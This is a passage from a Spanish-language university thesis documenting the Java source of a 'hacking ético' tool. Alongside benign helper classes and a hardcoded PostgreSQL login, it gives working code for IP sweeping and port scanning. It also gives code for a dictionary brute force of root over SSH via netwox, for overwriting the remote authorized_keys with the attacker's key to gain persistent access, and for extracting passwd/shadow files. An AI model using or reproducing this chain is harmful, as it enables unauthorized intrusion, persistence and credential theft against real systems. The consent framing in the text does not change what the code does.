en el sistema.

Gráfico No. 41 Clase fecha.java

Captura y retorna fecha del sistema

Clase reloj.java

Esta clase va a ser invocada por la mayoría de la súper clase de consulta de

datos. Entre sus funciones tenemos:

• Captura la hora actual del sistema, para almacenar los datos en la

base.

• La función public void run, me permite colocar la hora como un Label

en algunas pantallas del sistema.

• La función public static String getHora, captura y retorna la hora

configurada en el sistema.

public void inicio() { Date date = new Date(); int i = date.getYear() + 1900; int j = date.getDate(); int k = date.getDay(); fecha.setText(dia(date.getDay()) + " " + Integer.toString(j) + " de " + mes(date.getMonth()) + " del " + Integer.toString(i)); } public String getFecha() { Date date = new Date(); int i = date.getYear() + 1900; int j = date.getMonth() + 1; int k = date.getDate(); return Integer.toString(k)+"/"+Integer.toString(j)+"/"+Integer.toString(i); }

Page 98: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

83

Gráfico No. 42 Clase reloj.java

Captura y retorna la hora del sistema

Clase Access.java

Esta clase me permite realizar la conexión entre la base de datos y el

programa. Se puede aprovechar esta clase para realizar una conexión con

diferentes tipos de bases, en este caso hemos implementado con la base

PostgreSQL que es gratuita.

La función principal de esta clase es public static Connection

ObtenerConexion, por medio de esta función cualquier clase que desea

hacer una comunicación con la Base podrá hacerlo, para poder realizar la

conexión es necesario conocer los parámetros de configuración que a

continuación explicamos:

public static String getHora() { Date date = new Date(); int i = date.getHours(); int j = date.getMinutes(); int k = date.getSeconds(); return Integer.toString(i)+":"+Integer.toString(j)+":"+Integer.toString(k); } public void run() { do { Date date = new Date(); reloj.setText(date.getHours() + ":" + date.getMinutes() + " : " + date.getSeconds()); try { Thread.sleep(1000L); } catch(Exception exception) { } } while(true); }

Page 99: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

84

Empezamos por configurar el driver, se lo hace en la parte del código donde

encontremos la función: Class.forName("nombre_del_driver"), en el

“nombre_del_driver” vamos a colocar el nombre de los driver que estamos

usando en nuestro caso la configuración está dada de la siguiente manera:

Class.forName("org.postgreSQL.Driver");

Para obtener conexión por medio del driver de la base utilizaremos la

siguiente función:

DriverManager.getConnection("jdbc:postgreSQL://127.0.0.1:5432/proyec

to","postgres","postgres");

La configuración arriba mostrada está dada para que trabaje con la Base de

datos postgres, el primer parámetro que recibe la función es la cadena origen

de conexión dependiendo de la base que se está usando varia en su

estructura, el segundo parámetro es el usuario y el tercero es el password.

Estos dos últimos parámetros son opcionales.

Page 100: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

85

Gráfico No. 43 Clase Access.java

Permite realizar la conexión entre la base de datos y el programa

Clase pantalla_principal.java

Una vez que la clase clave_proyecto ha validado la clave se nos genera la

Pantalla de Bienvenida del Proyecto, la cual contendrá un menú y unos

botones que me permitirán invocar a las clases que necesito para trabajar

con el programa.

La función básica de esta clase es invocar a las clases con la cuales yo

puedo empezar a operar en el sistema

import java.io.PrintStream; import java.SQL.Connection; import java.SQL.DriverManager; public class ACCESS { static Connection unaConnection =null; public static Connection ObtenerConexion() { try { Class.forName("org.postgreSQL.Driver"); if(unaConnection == null) unaConnection = DriverManager.getConnection("jdbc:postgreSQL://127.0.0.1:5432/proyecto","postgres","postgres"); } catch(Throwable throwable) { System.out.println("ERROR EN LA CONEXION:\n " + throwable); Msg s= new Msg("MENSAJE","x_johncau.gif","Lo sentimos","No se pudo establecer la coneccion","Consulte con el administrador del sistema"); } return unaConnection; } }

Page 101: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

86

Gráfico No. 44 Clase pantalla_principal.java

Pantalla de Bienvenida con Menú

Clase Constants.java

Esta clase contiene las constantes que van a ser usadas por el módulo

ScanIP

Gráfico No. 45 Clase Constrangts.java

Contiene los constants usada en el modulo

public class pantalla_principal extends javax.swing.JFrame { public pantalla_principal() { initComponents(); clock = new Reloj(reloj); time = new Fecha(fecha); clock.start(); } private void salidaActionPerformed(java.awt.event.ActionEvent evt) { salir s = new salir(); s.show(); } private void botonscanActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } private void botonreportesActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void botonsalirActionPerformed(java.awt.event.ActionEvent evt) { salir sali = new salir(); sali.show(); } private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); }

public interface Constants { public static final int PING_PER_THREAD = 10; public static final int MAX_THREAD_COUNT = 100; }

Page 102: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

87

Clase Timer.java

Esta clase me va a controlar el tiempo de ejecución de rastreo por IP, la

misma que será usada por las clases Scan_ip_range, PingSweepStart y la

clase Basic_ip_tools para controlar su tiempo de ejecución en el sistema.

Gráfico No. 46 Clase Timer.java

Control del tiempo de ejecución del rastreo

import java.io.PrintStream; final class Timer { public Timer() { reset(); } public void start() { System.gc(); start = System.currentTimeMillis(); } public void end() { System.gc(); end = System.currentTimeMillis(); } public long duration() { return end - start; } public void reset() { start = 0L; end = 0L; } public static void main(String s[]) { Timer t = new Timer(); t.start(); for(int i = 0; i < 80; i++) System.out.print("."); t.end(); System.out.println("\n" + t.duration()); } private long start; private long end; }

Page 103: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

88

Clase PingSweepStart

Esta clase recibe como parámetros una IP inicial y una IP final que fueron

generadas en la clase Scan_ip_range con la cual las ordena en grupos de 10

para verificar que IP esta activa y o inactiva, todo esto controlado por un

tiempo. La clase genera las 10 IP que se encuentran en el rango que recibió

para luego enviarlas a otras clases para su validación.

Gráfico No. 47 Clase PingSweepStart

Ordena en grupo de 10 para verificar las ip

public PingSweepStart(String ip_range_beginnig, String ip_range_end) { total_result = new StringBuffer(); ip_range_beginning = BasicIPTools.find_lesser_address(ip_range_beginnig, ip_range_end); this.ip_range_end = BasicIPTools.find_greater_address(ip_range_beginnig, ip_range_end); thread_count = BasicIPTools.get_required_host_count(ip_range_beginning, this.ip_range_end); calculate_required_thread(); ping_threads = new PingThread[thread_count]; } public void run() { startSweeping(); do try { sleep(1000L); } catch(InterruptedException e) { e.printStackTrace(); } while(!check_if_sweep_completed()); System.out.print(get_result_of_scan()); } public StringBuffer get_result_of_scan() { return total_result; } private void startSweeping() { int i = 0; String start_ip = ip_range_beginning; String stop_ip = BasicIPTools.increase_IP(start_ip, 10); while(i < thread_count) { if(!if_exceeds(start_ip, ip_range_end, 10)) { ping_threads[i] = new PingThread(start_ip, stop_ip, total_result); ping_threads[i].start(); stop_ip = BasicIPTools.increase_IP(stop_ip); start_ip = stop_ip; stop_ip = BasicIPTools.increase_IP(stop_ip, 10); i++; continue; } ping_threads[i] = new PingThread(start_ip, ip_range_end, total_result); ping_threads[i].start(); break; } }

Page 104: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

89

Clase genera_palabras

Esta es una clase de uso opcional que permite generar combinaciones entre

palabras para guardarlas en un archivo plano de texto para en lo posterior

poder usarlas en el análisis de los password.

Gráfico No. 48 Clase genera_palabras

Realiza combinaciones entre palabras

Clase pinger.java

Esta clase recibe una por una las IP generadas por PingSweepStart, y

simplemente ejecuta un ping sobre cada una de ellas retornando el resultado

a la clase que lo requiera. Su función principal es: public static boolean

windows_ping

private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) { try{ BufferedWriter w = new BufferedWriter(new FileWriter("/root/Desktop/salida")); BufferedReader is = new BufferedReader(new FileReader ("/root/Desktop/diccionario_test")); while (is.ready()) { aax =(String)is.readLine(); System.out.println("recuperado de archivo:--> "+aax); //\|@#~½¬{[]}\~}@ł€¶ŧ←↓→øþ[]æßðđŋħjĸł~{|«»¢“”nµ·:ª!"·$%&/()=?¿Çº*' aux = aax + "½"; w.newLine(); w.write(aux); } is.close(); w.close(); }catch (IOException e) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","NO SE PUDO LEER EL ARCHIVO DE DICCIONARIOS DE PALABRAS","CONSULTE CON LA AYUDA DEL SISTEMA","GRACIAS..."); System.out.println ("Error al leer el archivo"); }

Page 105: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

90

Gráfico No. 49 Clase pinger.java

Ejecuta un ping sobre las IP recibidas

Clase scan_ip_range.java

Esta clase es la que reordena los datos que enviaron las clases de rastreos

de IP y los va mostrando por pantalla a su vez que se almacenan en cadenas

para poder desplegar los resultados de los escaneos en la pantalla de java

public static boolean windows_ping(String ip) throws Exception { Process p = Runtime.getRuntime().exec("ping -w 1 -l 8 " + ip); int status = p.waitFor(); return status == 0; }

public void empezar(String ip_inicial,String ip_final) throws InterruptedException { first_ip = ip_inicial; last_ip= ip_final; Timer t = new Timer(); t.start(); ScanIPRange a = new ScanIPRange(first_ip, last_ip); a.start_scan(); t.end(); System.out.println("\n\n**************************"); System.out.println("ESCANEO DE IP: " + first_ip + " - " + last_ip); System.out.println("por sistema de hacking de passwords--duracion::\t" + t.duration() + " (ms)"); System.out.println("**************************"); } public void start_scan() throws InterruptedException { int i = 0; String start_ip = ip_range_beginning; String stop_ip = BasicIPTools.increase_IP(start_ip, 100); for(; i < loop_count; System.gc()) { PingSweepStart sweep; if(!if_exceeds(start_ip, ip_range_end, 100)) { sweep = new PingSweepStart(start_ip, stop_ip); sweep.start();sweep.join();sweep = null; stop_ip = BasicIPTools.increase_IP(stop_ip); start_ip = stop_ip; stop_ip = BasicIPTools.increase_IP(stop_ip, 100); i++; continue; } sweep = new PingSweepStart(start_ip, ip_range_end); sweep.start(); sweep.join(); sweep = null; break; }

Page 106: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

91

Gráfico No. 50 scan_ip_range.java

Reordena los datos enviados por las clases de rastreo

Clase basic_ip_tools.java

Esta clase valida de uno en uno que la IP que genera el sistema este dentro

del rango que ingreso el usuario.

public static String get_broadcast_address(String ip_address, String subnet_mask) { subnet_mask = not_address(subnet_mask); String network_address = get_network_address(ip_address, subnet_mask); return or_addresses(subnet_mask, network_address); } public static int get_required_host_count(String ip_range_beginning, String ip_range_end) { long ip_value_1 = 0L; long ip_value_2 = 0L; String ip_real_beginning = find_lesser_address(ip_range_beginning, ip_range_end); String ip_real_end = find_greater_address(ip_range_beginning, ip_range_end); short ip_1[] = parseIP(ip_real_beginning); short ip_2[] = parseIP(ip_real_end); for(byte i = 0; i < 4; i++) { ip_value_1 += (long)((double)ip_1[i] * Math.pow(256D, 3 - i)); ip_value_2 += (long)((double)ip_2[i] * Math.pow(256D, 3 - i)); } return (int)((ip_value_2 - ip_value_1) + 1L); } public static boolean check_equality(String adres_1, String adres_2) { short parcalar_1[] = parseIP(adres_1); short parcalar_2[] = parseIP(adres_2); for(byte i = 0; i < 4; i++) if(parcalar_1[i] != parcalar_2[i]) return false; return true; } public static String find_greater_address(String address_1, String address_2) { if(check_equality(address_1, address_2)) return address_1; if(check_greater(address_1, address_2)) return address_1; else return address_2; } public static String find_lesser_address(String address_1, String address_2) { if(check_equality(address_1, address_2)) return address_1; if(check_lesser(address_1, address_2)) return address_1; else return address_2; }

Page 107: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

92

Gráfico No. 51 Clase basic_ip_tools.java

Valida las IP dentro del rango que se ingreso

Clase ping_thread.java

Esta clase me muestra por pantalla los resultados del escaneo en grupos de

10 se encarga de validar que no se tome la dirección .0 que es el

identificador de red y Lan .255 que el broadcast ordena los datos y los

muestra por pantalla presentando por IP si esta activa o no, a su vez que se

guardan los datos en cadena para poder desplegar los resultados en la

pantalla de Java.

public class PingThread extends Thread { public PingThread(String ip_range_begin, String ip_range_end, StringBuffer total_result) { local_result = new StringBuffer(); cadena_ip_buffer = new StringBuffer(); this.goal=goal; this.ips=ips; this.ip_range_beginning = ip_range_begin.trim(); this.ip_range_end = ip_range_end.trim();this.total_result = total_result; } public void run() { String temp_beginning = ip_range_beginning; while(!BasicIPTools.check_equality(ip_range_beginning, ip_range_end)) if(ip_range_beginning.endsWith(".0") || ip_range_beginning.endsWith("255")) { ip_range_beginning = BasicIPTools.increase_IP(ip_range_beginning); } else { try { if(Pinger.windows_ping(ip_range_beginning)) { local_result.append(ip_range_beginning + "\t\tACTIVA!\n"); goal =goal + ip_range_beginning + '\t'+'\t'+"ACTIVA!!"+'\n'; ips=ips+ip_range_beginning+'\n'; }else{ local_result.append(ip_range_beginning + "\t\tinactiva\n");

goal =goal + ip_range_beginning + '\t'+'\t'+"inactiva"+'\n'; } } catch(Exception exception) { } ip_range_beginning = BasicIPTools.increase_IP(ip_range_beginning); } try { if(Pinger.windows_ping(ip_range_beginning)) { local_result.append(ip_range_beginning + "\t\tACTIVA!\n"); goal =goal + ip_range_beginning + '\t'+'\t'+"ACTIVA!!"+'\n'; ips=ips+ip_range_beginning+'\n'; }else{ local_result.append(ip_range_beginning + "\t\tinactiva\n"); } goal =goal + ip_range_beginning + '\t'+'\t'+"inactiva"+'\n'; } catch(Exception exception1) { } if(local_result.toString() != null) local_result.append("\n"); total_result.append(temp_beginning + " - " + ip_range_end + " Escaneando dentro de este rango\n" + local_result); goal= goal + '\n'; goal = goal + temp_beginning + " - " + ip_range_end + " Escaneando dentro de este rango"+'\n' + local_result.toString(); }

Page 108: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

93

Gráfico No. 52 Clase ping_thread.java

Muestra por pantalla resultados de escaneo

Clase pantalla_scan.java

public class pantalla_scan extends javax.swing.JFrame{ public pantalla_scan() { initComponents(); clock = new Reloj(reloj); time = new Fecha(fecha); clock.start(); } private void botonscanPUERTOSActionPerformed(java.awt.event.ActionEvent evt) { d=0; texto_scan_puertos.setText(""); for (int i = 0; i < 999; i++) { for(int j=0;j<3;j++){ tabla_scan_puertos.setValueAt("",i,j); } } try { InetAddress addr = InetAddress.getByName(host); System.out.println("escaneo de puertos activos en la direccion ip--> "+host); cadena_puertos = cadena_puertos + "escaneo de puertos activos en la direccion ip--> "+ host +'\n'+"buscando puertos abiertos..." +'\n'+ "por favor espere...(CTRL-C para detener)"+'\n'; for (int i = 1; i < 500; i++) { Socket s = null; try { s = new Socket(addr,i); if (s!=null){ System.out.println("Puerto: " + i + " abierto " + host ); cadena_puertos = cadena_puertos + '\n'+"Puerto: " + i + " abierto en " + host+'\n'; tabla_scan_puertos.setValueAt(Integer.toString(i),d,0); botonhackeo.setEnabled(true); switch (i) { case 21: tabla_scan_puertos.setValueAt("Servicio ftp",d,1); break; case 22: tabla_scan_puertos.setValueAt("Servicio ssh",d,1); break; default: tabla_scan_puertos.setValueAt("Puerto desconocido",d,1); break; } tabla_scan_puertos.setValueAt("Activo",d,2); d++; }else{ System.out.println("Puerto: " + i + " cerrado " + host ); } } catch (IOException ex) { } finally { try { if (s != null) s.close(); } catch (IOException ex) {} } } //for } //try catch (UnknownHostException ex) { System.err.println(ex); } if (cadena_puertos !="") { texto_scan_puertos.setText(cadena_puertos); }else{ Msg a=new Msg("Respuesta del Sistema","imagenes/escudo_u.JPG","no se han encontrado puertos abiertos","verifique la IP y el estado de la red","consulte el manual de ayuda y vuelvalo a intentar...gracias"); botonhackeo.setEnabled(false); } }

Page 109: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

94

Gráfico No. 53 pantalla_scan.java

Scaner de puertos

Page 110: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

95

Esta clase, una vez registrada una IP válida para escanear, al seleccionar

una IP de la pantalla, automáticamente activa un botón el cual al ser

presionado, ejecutará el código mostrado arriba. La clase empieza a abrir

sockets de conexión hacia la maquina remota, si encuentra uno abierto en el

destino, mostrará por pantalla cual es el puerto abierto y el tipo de servicio

asociado al puerto. En caso de no haber encontrado puertos abiertos o si

ocurrió algún tipo de error, el sistema mostrará el respectivo mensaje de

advertencia o error.

La búsqueda de puertos abiertos se la realiza de una forma rápida,

escaneando hasta un límite de puertos determinado. Esto es totalmente

modificable con el código fuente.

Este tipo de comprobación es muy útil para verificar después de realizado el

ataque, si se nos ha abierto el puerto que forzamos a abrir cuando

realizamos el ataque que se explicará después. Solo el administrador

conocerá el modo de ataque del exploit, para poder hacer una auditoria

posterior sin necesidad de hacer el ataque de autenticación remota en lo

posterior.

Page 111: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

96

Clase pantalla_attack_ftp.java

Una vez realizado el escaneo de IP y habiendo encontrado una IP y el puerto

activo para extraer los archivos de auditoria, procedemos a ejecutar el ataque

de auditoria de passwords.

La siguiente pantalla muestra la inicialización de la pantalla en mención:

Gráfico No. 54 Clase pantalla_attack_ftp.java

Inicialización de pantalla

Una vez invocada la ejecución de la clase, con esta función se inicializan los

elementos y demás variables que son necesarias para que el programa

empiece a funcionar. La función initComponents() es la encargada de

levantar todo el diseño en NetBeans. En este constructor se puede además

recibir variables externas que son necesarias para la clase.

En el siguiente cuadro tenemos a las clases que serán invocadas, si

queremos retornar a la pantalla anterior a esta, o si se ejecuto el ataque con

éxito, y se desea pasar a la parte de análisis.

public class pantalla_attack_ftp extends javax.swing.JFrame { public pantalla_attack_ftp(String ip) { ip_final = ip; initComponents(); }

Page 112: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

97

Gráfico No. 55 boton_retorno

Al presionar este botón permite esconder y presentar otra pantalla

Funciones importantes de destacar en esta clase:

La función mostrada a continuación nos permite monitorear el estado en que

se encuentre la red. Si por alguna circunstancia, al ejecutar la pantalla y el

respectivo ataque, si sospechamos que se perdió el enlace con la maquina

remota por algún motivo, con esta función nos aseguraremos de despejar

dudas, se tratará de comunicar con la maquina remota y escanearle el

puerto, para que nos de un diagnóstico de que es lo que ocurre con el

enlace. Puede ser que la conexión remota se haya perdido o que nos hayan

cerrado el puerto. El módulo devuelve la respuesta de que es lo que pasa, y

de ser necesario, se deberá repetir el ataque desde el inicio.

private void boton_retornoActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan as = new pantalla_scan(); as.show(); } private void boton_analizaActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); parametros_análisis análisiss = new parametros_análisis(ip_final); análisiss.show(); }

Page 113: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

98

Gráfico No. 56 Class verifica estado

Verifica el estado de la red

public static boolean verifica_estado_red() throws Exception { Process p_red = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/chequeo_red "+ip_final); is_red = p_red.getInputStream(); br_red = new BufferedReader (new InputStreamReader (is_red)); aux_red = br_red.readLine(); while (aux_red!=null )

{ System.out.println (aux_red); cadena_total_red = cadena_total_red + '\n' + aux_red; aux_red = br_red.readLine(); } int status = p_red.waitFor(); return status == 0; } private void execute_ipActionPerformed(java.awt.event.ActionEvent evt) { cadena_total_red=""; text_estado_ip.setText(""); aux_red=""; try { if (verifica_estado_red()){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","TERMINADA LA EJECUCION","DEL ESTADO DE LA RED","........."); boton_exec_attack.setEnabled(true); }else{ Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.JPG","NO SE PUDO EJECUTAR LA FUNCION DE VERIFICACION DE LA RED","CONSULTE CON LA AYUDA DEL SISTEMA","GRACIAS"); boton_exec_attack.setEnabled(false); } } catch (Exception e) { // Excepciones si hay alg�n problema al arrancar el ejecutable o al // leer su salida. e.printStackTrace(); Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.JPG","NO SE PUDO EJECUTAR LA FUNCION DE VERIFICACION DE LA RED","CONSULTE CON LA AYUDA DEL SISTEMA","GRACIAS"); } text_estado_ip.setText(cadena_total_red +'\n'+ " FINALIZADO CON EXITO EL CHEQUEO DE LA RED..!!!"); }

Page 114: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

99

La función que viene a continuación nos permitirá hacer lo siguiente:

Gráfico No. 57 Funcion ejecuta_ataque_ftp

Ejecución de ataque remoto Ftp

La clase empieza invocando a la función public static boolean

ejecuta_ataque_ftp(String ip) , la cual va a empezar la ejecución del ataque

remoto, con una IP ya conocida, y un puerto abierto, en este caso el 22.

public static boolean ejecuta_ataque_ftp(String ip) throws Exception { Process p = Runtime.getRuntime().exec("netwox 130 -i "+ IP +" -l "+"/root/hacking_etico/utilitarios/login"+" -v -s -w "+"/root/hacking_etico/utilitarios/diccionario_completo"+ " -T 50000 -n 200"); // Se obtiene el stream de salida del programa is = p.getInputStream(); // Se prepara un bufferedReader para poder leer la salida m�s // comodamente. br = new BufferedReader (new InputStreamReader (is)); String aux = br.readLine(); // Se lee la primera linea while (aux!=null ) // Mientras se haya leido alguna linea { System.out.println (aux); cadena_total_passwd = cadena_total_passwd + '\n' + aux; if (aux.endsWith("good")) { password_obtenido = aux; } aux = br.readLine(); } int status = p.waitFor(); for(int k=0; k < password_obtenido.length()-9; k++) { if (password_obtenido.charAt(k)== '-' && cont ==0) { passwd_final = password_obtenido.substring(k+3,password_obtenido.length()-9); cont++; } } System.out.println("Este es el passwd rastreado-->" + passwd_final); cadena_total_passwd = cadena_total_passwd + '\n'+" el resultado es:... "+passwd_final; cadena_passwords_obtenidos = cadena_passwords_obtenidos + passwd_final; return status == 0 }

Page 115: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

100

El programa empieza a ejecutar duplas de ataque, con autenticación remota

hacia el servicio SSH o SFTP, el programa es capaz de abrir hasta 700 hilos

de conexión por segundo, devolviendo repuesta cada 3 a 4 segundos,

completando los grupos de duplas de ataque cada 2 o 3 minutos. La ventaja

de esta herramienta es que es capaz de recuperarse si es que el sistema

remoto rechaza la conexión, reservando esa pareja de autenticación para un

momento posterior, hasta que logre ser probada. El diccionario de palabras

se lo puede cambiar al gusto del usuario, sin embargo se recomienda hacer

uso de los que se han proporcionado en el proyecto. Si se desea se puede

agregar más diccionarios, descargándolos desde Internet o generándolos

con el generador de palabras incorporado en el código fuente.

Nota: dependiendo del estado de la red este tipo de operación puede

demorar varios minutos, horas, e incluso días. Si no se pudo acceder a la

clave con el diccionario por defecto (palabras más comunes), se recomienda

generar más palabras con el generador de palabras y buscar por medio del

archivo de diccionario nuevo.

El efecto de demora puede ser considerable dependiendo de que tan

poderosa es la clave de la maquina a ser auditada. Una opción de auditoria

será que el administrador del equipo remoto nos proporcione la clave que

tentamos descifrar, colocarla en la pantalla de ataque, y extraer los archivos

Page 116: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

101

de passwords con seguridad. Esto será solo con consentimiento del

administrador de la maquina remota. En este caso, el recibirá el resultado de

la auditoria del análisis, y después de esto deberá cambiar su clave de root

inmediatamente, y los archivos de passwords extraídos de la maquina

deberán ser eliminados de la maquina analizadora, con el fin de evitar

inconvenientes.

El programa vía consola terminal o consola de output, en el caso de que se

esta compilando desde NetBeans, arroja el resultado continuo de lo que está

sucediendo con la autenticación, con las palabras que se están enviando a la

maquina remota.

Las duplas a enviar por defecto serán las de tipo usuario—passwd, el usuario

sería el root y el password a probar cada una de las palabras que conforman

el diccionario que estemos utilizando. Una vez terminado el proceso, sino

hubo errores o novedades, se mostrará en la pantalla de java, indicándonos

además cual fue el password que nos permitió la autenticación remota.

El sistema se encargarán de ordenar los datos obtenidos en cada instante de

ejecución, y cuando encuentre la clave se detendrá, en el transcurso de ese

tiempo la pantalla se congelara, esta reacción es normal ya que la maquina

esta ocupando recursos del sistema. Toda la salida se podrá ver mediante

una consola Terminal o el output de NetBeans.

Page 117: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

102

Si obtuvimos la clave con éxito, procederemos a ejecutar el siguiente

proceso:

Gráfico No. 58 Función ejecuta_extract

Extracción del archivos de PC remota

public static boolean ejecuta_extract(String ip_final,String login,String passwd_final) throws Exception { Process p_copia = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/ataque_ssh"); is_copia = p_copia.getInputStream(); br_copia = new BufferedReader (new InputStreamReader (is_copia)); String aux_copia = br_copia.readLine(); while (aux_copia!=null ) { System.out.println (aux_copia); cadena_total = cadena_total + '\n' + aux_copia; aux_copia = br_copia.readLine(); } p_copia.waitFor(); Process p_clear = Runtime.getRuntime().exec("netwox 114 -i "+ip_final+" -u "+login+" -a "+passwd_final+" --remote-file /root/.ssh/authorized_keys"); is_clear = p_clear.getInputStream(); br_clear = new BufferedReader (new InputStreamReader (is_clear)); String aux_clear = br_clear.readLine(); while (aux_clear!=null ) {

System.out.println (aux_clear); cadena_total = cadena_total + '\n' + aux_clear; aux_clear = br_clear.readLine(); } p_clear.waitFor(); Process p_coloca = Runtime.getRuntime().exec("netwox 113 -i "+ip_final+" -u "+login+" -a "+passwd_final+" -f /root/.ssh/id_rsa.pub -F /root/.ssh/authorized_keys"); is_coloca = p_coloca.getInputStream(); br_coloca = new BufferedReader (new InputStreamReader (is_coloca)); String aux_coloca = br_coloca.readLine(); while (aux_coloca!=null ) { System.out.println (aux_coloca); cadena_total = cadena_total + '\n' + aux_coloca; aux_coloca = br_coloca.readLine(); } p_coloca.waitFor(); Process p_extraelo = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/extract_passwd_shadow "+ip_final); is_extraelo = p_extraelo.getInputStream(); br_extraelo = new BufferedReader (new InputStreamReader (is_extraelo)); aux_extraelo = br_extraelo.readLine(); while (aux_extraelo!=null ) { System.out.println (aux_extraelo); cadena_total = cadena_total + '\n' + aux_extraelo; aux_extraelo = br_extraelo.readLine(); } int status = p_extraelo.waitFor(); return status == 0; }

Page 118: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

103

La función:

public static boolean ejecuta_extract(String ip_final,String login,String

passwd_final) throws Exception

Recibirá tres parámetros, la IP a la cual vamos a hacer la extracción, el

usuario, y el password que nos permite acceder a la maquina remota.

La función: Process p_copia =

Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/ataque_ssh");

Me crea una instancia de proceso en el cual, va a ejecutar un script llamado

ataque_ssh el cual tiene el siguiente contenido:

Gráfico No. 59 Ataque SSH

Script para generar licencias de autorización

#!/bin/sh

##scrpit para generar un archivo de licencias de autorizacion

##para solo autenticarse via ssh una vez, luego se puede hacer la auditoria

##de passwd sin necesidad de digitar contraseña..!!!

##averiguado el passowrd por el primer metodo se prodcedera a realizar este ataque solo

con fines de auditoria

echo "Generacion De Los Archivos De Claves Publicas De Autenticacion Ssh"

echo " Borrado de los archivos antiguos "

rm -f /root/.ssh/id_rsa*

echo " Elaboracion de los archivos de las llaves de autorizacion locales "

